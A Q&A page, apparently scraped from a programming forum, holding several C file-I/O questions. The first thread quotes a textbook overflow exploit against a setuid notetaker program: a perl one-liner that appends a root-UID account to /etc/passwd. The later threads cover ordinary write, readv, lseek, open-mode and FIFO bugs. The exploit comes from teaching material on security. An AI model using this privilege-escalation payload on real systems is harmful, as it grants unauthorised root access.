This problem deals with an exploit on page 155 of the book Hacking: The art of exploitation. Here, the Notetaker program is used to append an entry with root privileges onto the /etc/passwd file.
The code for Notetaker.c goes like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper
int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
if(argc < 2) // If there aren't commandline arguments
usage(argv[0], datafile); // display usage message and exit
strcpy(buffer, argv[1]); // copy into buffer
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
// Opening the file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
userid = getuid(); // get the real user ID
// Writing data
if(write(fd, &userid, 4) == -1) // write user ID before note data
fatal("in main() while writing userid to file");
write(fd, "\n", 1); // terminate line
if(write(fd, buffer, strlen(buffer)) == -1) // write note
fatal("in main() while writing buffer to file");
write(fd, "\n", 1); // terminate line
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
A soft link is created to /bin/bash thru /tmp/etc/passwd
"password" is given as a default password with salt XX--XXq2wKiyI43A2
And User ID is given as 0- to get root privileges.
The exploit goes as below:
$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')
When I try this, all I get is a fatal error while opening the file saying permission is denied.
It seems to work just fine in the book since $tail /etc/passwd shows the new entry thru this exploit which gives a root access.
Pls help.
You need to read chapter two. It shows you changing the owner to root via chown and chmod u+s. page 93.
Related
I compiled an example of a simple note-taking program that uses file descriptors from a book, and I've been getting some compiler errors related to a "write" and a "close" function, along with the use of the "strncat" function. Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // A function for fatar errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper
int main(int argc, char *argv[]) {
int fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/tmp/notes");
if (argc < 2) // If there aren't command-line arguments,
usage(argv[0], datafile); // display usage message and exit.
strcpy(buffer, argv[1]); // Copy into buffer.
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
strncat(buffer, "\n", 1); // Add a newline on the end.
// Opening file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
//Writing data
if(write(fd, buffer, strlen(buffer)) == -1)
fatal ("in main() while writing buffer to file");
//Closing file
if(close(fd) == -1)
fatal ("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
// A function to display and error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error-checked malloc() wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL) {
fatal("in ec_malloc() on memory allocation");
exit(-1);
}
return ptr;
}
And this is the compiler error:
implenote.c: In function ‘main’:
simplenote.c:39:5: warning: implicit declaration of function ‘write’; did you mean ‘fwrite’? [-Wimplicit-function-declaration]
39 | if(write(fd, buffer, strlen(buffer)) == -1)
| ^~~~~
| fwrite
simplenote.c:42:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
42 | if(close(fd) == -1)
| ^~~~~
| pclose
simplenote.c:31:2: warning: ‘strncat’ specified bound 1 equals source length [-Wstringop-overflow=]
31 | strncat(buffer, "\n", 1); // Add a newline on the end.
The code was copied from the book without any alteration, i would like to know why this is happening and what i can do to make the code run. Note that the book (Hacking: The Art of Exploitation, Second Edition) is a bit dated and was released in 2008.
To access the Posix low level file interface such as open, read, write and close, you should include <unistd.h>.
Note however that your program does not seem to require such low level interface, you might consider creating your output file using standard streams declared in <stdio.h>, using fopen, fputs or fprintf and fclose.
I'm trying to build a program to copy existing content from an existing file to the new file using readv() and writev().
Here is my code:
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
int fs, fd;
ssize_t bytes_read, bytes_written;
char buf[3][50];
int iovcnt;
struct iovec iov[3];
int i;
fs = open(argv[1], O_RDONLY);
if (fs == -1) {
perror("open");
return -1;
}
fd = open(argv[2], O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
if (fd == -1) {
perror("open");
return 1;
}
for(i = 0; i < 3; i++) {
iov[i].iov_base = buf[i];
iov[i].iov_len = sizeof(buf[i]);
}
iovcnt = sizeof(iov) / sizeof(struct iovec);
if ((bytes_read=readv(fs, iov, iovcnt)) != -1)
if ((bytes_written=writev(fd, iov, iovcnt)) == -1)
perror("error writev");
printf("read: %ld bytes, write: %ld bytes\n", bytes_read, bytes_written);
if (close (fs)) {
perror("close fs");
return 1;
}
if (close (fd)) {
perror("close fd");
return 1;
}
return 0;
}
Problem: Let's say I ran the program with argv[1] corresponding to the file called file1.txt and copied it to argv[2], let's say it's called as hello.txt.
This is the content of file1.txt:
Ini adalah line pertamaS
Ini adalah line kedua
Ini adalah line ketiga
When I ran the program, the new created file specified in argv[2] were filled by unwanted characters such as \00.
Output after running the program:
Ini adalah line pertamaS
Ini adalah line kedua
Ini adalah line ketiga
\00\00\FF\B5\F0\00\00\00\00\00\C2\00\00\00\00\00\00\00W\D4\CF\FF\00\00V\D4\CF\FF\00\00\8D\C4|\8C\F8U\00\00\C8o\A6U\E5\00\00#\C4|\8C\F8U\00\00\00\00\00\00\00\00\00\00 \C1|\8C\F8U\00\00`\D5\CF\FF
I suspect the main cause of the problem is unfitted size of buf array. I've already look up internet for the solutions and there are nothing to be found. Can anyone give me some enlightment to fix this problem? I tried to make the buf or iov_len to be variable-length but I couldn't find the right way to do it. Thanks everyone!
readv() works with byte counts driven by each .iov_len and no special treatment for any content (like a line-feed). The readv() in the original posting is passed an array of (3) struct iovec, each with .iov_len set to 50. After a successful readv(), the content of the local buf[3][50] would be:
buf[0] : first 50 bytes from the input file
buf[1] : next 20 bytes from the input file, then 30 bytes of uninitialized/leftover stack data
buf[2] : another 50 bytes of uninitialized/leftover stack data
The writev() reuses the same struct iovec array with all (3) .iov_len unchanged from 50, and writes 150 bytes as expected. The content of the output file has the first 70 bytes copied from the input file and 80 bytes of leftover stack data. If the local buf was cleared before calling readv(), the output file would contain trailing NULLs.
So I'm working on the server side of my program right now, and I want to do the following:
1) open a file in read/write mode
2) append a word (WORD) to the end of the file
3) [I believe I have all of this part down already] open a pipe, create a child process, have it read directly from the file (file descriptor), execute a command, and send the result into the write/output of the pipe. The parent process reads from the read/input of the pipe and puts the info into a buffer to send back to the client.
What I'm having trouble with is the appending part. I'm pretty sure it appends to the file (with a newline in between the existing text and my WORD) because when I directly open the text file it's there. But when I try to print it from my buffer, it's not there. I have tried closing the file descriptor after writing and reopening and it's not there. I've tried strcat instead of writing to the file descriptor and it's not there.
#define WORD "WORD"
#define BUFFERLENGTH 512
char buffer[BUFFERLENGTH];
int fileDesc = open (filePath, O_RDWR|O_APPEND, 0660);
if (fileDesc <= 0){
write(clientDesc, ERRORMSG, BUFFERLENGTH);
exit(EXIT_FAILURE);
}
read(fileDesc,buffer,BUFFERLENGTH);
long length = lseek(fileDesc,0,SEEK_END);
int status = write(fileDesc,WORD,sizeof(WORD)-1);
read(fileDesc, buffer, BUFFER_LEN+1);
printf("new text: %s\n", buffer); //WORD does not show up at the end of file as intended
Is there something I'm really misunderstanding?
Perhaps I don't fully understand how open(), read(), write(), and lseek() work, but if anyone could help explain to me why this isn't working as intended that'd be greatly appreciated. I've been struggling with this for the past week and the number of tabs I currently have open to searching for a solution is tragic.
After your write() call you're going to be at the end of the file, so read() isn't going to be able to read anything. You'll need to lseek() to a point earlier in the file if you want to be able to read anything from it.
You should be checking the return from read() (and almost all other system calls, for that matter) and use perror() or similar in the case of error, and this will do wonders for helping you to understand what's going on when you see behavior you don't expect.
Modifying your program:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#define WORD "WORD"
#define BUFFERLENGTH 512
int main(void)
{
char * filePath = "testfile.txt";
char buffer[BUFFERLENGTH] = {0};
// Open file.
int fd = open(filePath, O_RDWR | O_APPEND, 0660);
if (fd < 0) {
perror("couldn't open file");
return EXIT_FAILURE;
}
// Write word to end.
int status = write(fd, WORD, strlen(WORD));
if ( status < 0 ) {
perror("couldn't write");
return EXIT_FAILURE;
}
// Seek to start of file.
long length = lseek(fd, 0, SEEK_SET);
if ( length < 0 ) {
perror("couldn't lseek");
return EXIT_FAILURE;
}
// Read contents of file.
status = read(fd, buffer, BUFFERLENGTH - 1);
if ( status < 0 ) {
perror("couldn't read");
return EXIT_FAILURE;
}
// Print buffer.
printf("file contents: %s\n", buffer);
return 0;
}
yields:
paul#mac:scratch$ touch testfile.txt
paul#mac:scratch$ ./file
file contents: WORD
paul#mac:scratch$ ./file
file contents: WORDWORD
paul#mac:scratch$ ./file
file contents: WORDWORDWORD
paul#mac:scratch$ ./file
file contents: WORDWORDWORDWORD
paul#mac:scratch$
If you want to actually see only the new contents, then you'll need to lseek() to some point other than the start of the file. Since a successful write() will return the number of bytes written, you can use this value to offset back from the end of the file:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#define BUFFERLENGTH 512
int main(int argc, char * argv[])
{
if ( argc < 2 ) {
fprintf(stderr, "you need to enter a word argument\n");
return EXIT_FAILURE;
}
char * filePath = "testfile.txt";
char buffer[BUFFERLENGTH] = {0};
// Open file.
int fd = open(filePath, O_RDWR | O_APPEND, 0660);
if ( fd < 0 ) {
perror("couldn't open file");
return EXIT_FAILURE;
}
// Write word to end.
int status = write(fd, argv[1], strlen(argv[1]));
if ( status < 0 ) {
perror("couldn't write");
return EXIT_FAILURE;
}
// Seek to point before last write.
long length = lseek(fd, -status, SEEK_END);
if ( length < 0 ) {
perror("couldn't lseek");
return EXIT_FAILURE;
}
// Read from there to end of file.
status = read(fd, buffer, BUFFERLENGTH - 1);
if ( status < 0 ) {
perror("couldn't read");
return EXIT_FAILURE;
}
// Print buffer.
printf("new text: %s\n", buffer);
return 0;
}
yielding:
paul#mac:scratch$ rm testfile.txt
paul#mac:scratch$ touch testfile.txt
paul#mac:scratch$ ./file2 these
new text: these
paul#mac:scratch$ ./file2 are
new text: are
paul#mac:scratch$ ./file2 some
new text: some
paul#mac:scratch$ ./file2 words
new text: words
paul#mac:scratch$ cat testfile.txt
thesearesomewordspaul#mac:scratch$
I'm trying to write characters in a text file on my Macbook Air, but it seems not to be working.
I tried compiling both via Xcode and Terminal.
But the results are same:
File Descripter: 3
write() Error!
Here is the code.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
void Error_handling(char* message);
int main() {
int fd;
char buf[] = "Let's go! \n";
fd = open("data.txt", O_CREAT|O_RDONLY|O_TRUNC);
if (fd == -1)
Error_handling("open() Error! \n");
printf("File Descripter: %d \n", fd);
if(write(fd, buf, sizeof(buf))==-1)
Error_handling("write() Error! \n");
close(fd);
return 0;
}
void Error_handling(char* message)
{
fputs(message, stderr);
exit(1);
}
You open file with O_RDONLY and then try to write, of course it reports error.
And as comments suggested the right open variant should be:
fd = open("data.txt", O_CREAT|O_WRONLY|O_TRUNC, 0600);
Your file is opened in read only mode, which naturally prevents you from writing to it.
fd = open("data.txt", O_CREAT|O_RDONLY|O_TRUNC);
// ^ <- Your problem is here
Fix it by using
fd = open("data.txt", O_CREAT|O_WRONLY|O_TRUNC, S_IWRITE);
I am trying to use a FIFO file to store buffered log entries for my application if the network connection is lost. I thought when reading from a FIFO file it would be deleted completely thus it would be "popped" from the log queue.
However, my approach kept logging reading the same text indefinitely. Perhaps it would be easier to read all entries into a buffer and try to log them to the database and write back all entries that couldn't be logged.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
/**
* First argument is the filename
* Second argument is the log message
* Third argument is the severity
*/
int main(int argc, char **argv) {
int err, severity;
char c;
char *fifoName = "/tmp/bufferedlog";
char src[100], msg[100];
FILE *fp;
/**
* if the program has exactly three arguments it will push
* a new log entry to the queue.
*/
if(argc == 3) {
fp = fopen(fifoName, "w");
if(fp == NULL) {
err = mknod(fifoName, S_IFIFO | 0600, 0);
if(err < 0){
fprintf(stderr, "Unable to create fifo: %s\n",fifoName);
exit(EXIT_FAILURE);
}
fp = fopen(fifoName, "w");
if(fp == NULL) {
fprintf(stderr, "Unable to open fifo for writing\n");
exit(EXIT_FAILURE);
}
}
fprintf(fp, "\"%s\" \"%s\" %d ","My Application", argv[1], atoi(argv[2]));
fflush(fp);
fclose(fp);
return 0;
}
fp = fopen(fifoName, "r");
if(fp == NULL) {
fprintf(stderr, "Unable to open fifo for reading\n");
exit(EXIT_FAILURE);
}
/**
* it will now try to read the log entry from the fifo file.
*/
while(1) {
if(fscanf(fp,"\"%[^\"]\" \"%[^\"]\" %d", src, msg, &severity) < 0) { // ignore the overflow bugs
goto finish;
}
fprintf(stdout, "Do you really want to log \"%s (%d):%s\" to database [y/n]?\n", src, severity, msg);
scanf(" %c",&c);
if(c=='y') {
/* logs to database here */
/* if it fails to log to database it will break out of this loop */
fprintf(stdout, "Pushed log entry to database.\n");
}else {
goto finish;
}
}
fclose(fp);
fp = fopen(fifoName, "w");
/**
* if the database connection failed it fill put the log entry back into
* the queue and try again when the program starts next time.
*/
if(fp == NULL) {
fprintf(stderr, "Unable to open fifo for writing\n");
exit(EXIT_FAILURE);
}
fprintf(fp, "\"%s\" \"%s\" %d ", src, msg, severity);
fflush(fp);
finish:
fclose(fp);
return 0;
}
Please ignore the overflow bugs with scanf. My attempt doesn't work, here is the psuedocode of my program.
if argc is equal to three then
write log entry to fifo file
end
while there is data in fifo file do
read log entry from fifo file and delete it from fifo file
try logging entry to database
if failed then
break out of while loop
end
end
write log entry back to fifo file